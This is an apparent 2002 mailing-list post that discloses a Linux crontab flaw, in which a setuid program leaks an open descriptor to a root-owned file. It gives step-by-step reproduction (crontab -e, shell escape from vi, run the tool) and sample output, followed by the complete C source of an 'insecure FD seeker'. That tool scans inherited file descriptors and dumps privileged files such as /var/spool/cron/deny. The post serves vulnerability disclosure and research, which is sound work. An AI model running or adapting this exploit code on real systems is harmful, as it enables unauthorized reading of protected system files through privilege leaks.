Steven M. Bellovin wrote:
>>The list includes, but is not limited to:
>>
>> command-line array
>> environment array
>> open files
>>
>>
I don't think there was enough research on open file descriptor
problems. For example, I found this small bug while playing yround with
crontab on Linux:
gcc cronread.c -o cronread
export VISUAL=/bin/vi
crontab -e
<:sh> escape to shell
./cronread
0000 iz OPEN st_uid 24129 st_gid 5 PATH /dev/pts/15/fd/0
dump (y/n) n
0001 iz OPEN st_uid 24129 st_gid 5 PATH /dev/pts/15/fd/1
dump (y/n) n
0002 iz OPEN st_uid 24129 st_gid 5 PATH /dev/pts/15/fd/2
dump (y/n) n
0003 iz OPEN st_uid 0 st_gid 0 PATH
/var/spool/cron/deny dump (y/n) y
--- DUMPING /var/spool/cron/deny ---
guest
gast
---
0005 iz OPEN
0006 iz OPEN
ls -l /var/spool/cron/deny
-rw------- 1 root root 11 Oct 25 2001 /var/spool/cron/deny
So I'm able to read a privileged system file using this technique :->
Not necessary to mention the consequences of inheriting such a fd open
for writing. More effort must be put to investigate this problem in
current Linux/Unix suid/setgid binaries.
have fun with the attached source.
/ih
/****************************************************************
* *
* insecure FD seeker *
* by IhaQueR '2002 *
* *
****************************************************************/
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <linux/limits.h>
#define TMPLEN 1024
void dumpfd(int fd, char *name)
{
int r;
char c=13;
r = lseek(fd, 0, SEEK_SET);
if(r == (off_t)-1) {
perror("lseek");
return;
}
printf("\n--- DUMPING %s ---\n\n", name);
do {
r = read(fd, &c, sizeof(c));
if(r>0) {
printf("%c", c);
}
} while(r>0);
printf("\n\n---");
fflush(stdout);
}
int main()
{
int i, r, f;
uid_t uid;
gid_t gid;
struct stat st;
char buf[TMPLEN];
uid = getuid();
gid = getgid();
for(i=0; i<NR_OPEN; i++) {
r = fstat(i, &st);
if(!r) {
printf("\n%.4d iz OPEN", i);
if(st.st_uid != uid || st.st_gid != gid) {
printf("\tst_uid %d\tst_gid %d", st.st_uid, st.st_gid);
snprintf(buf, sizeof(buf)-1, "/proc/%d/fd/%d", getpid(), i);
buf[sizeof(buf)-1] = 0;
readlink(buf, buf, sizeof(buf)-1);
buf[sizeof(buf)-1] = 0;
printf("\tPATH %s ", buf);
printf("\tdump (y/n) ");
r = getchar();
if(r == 'y')
dumpfd(i, buf);
getchar();
}
}
}
printf("\n\n");
fflush(stdout);
return 0;
}
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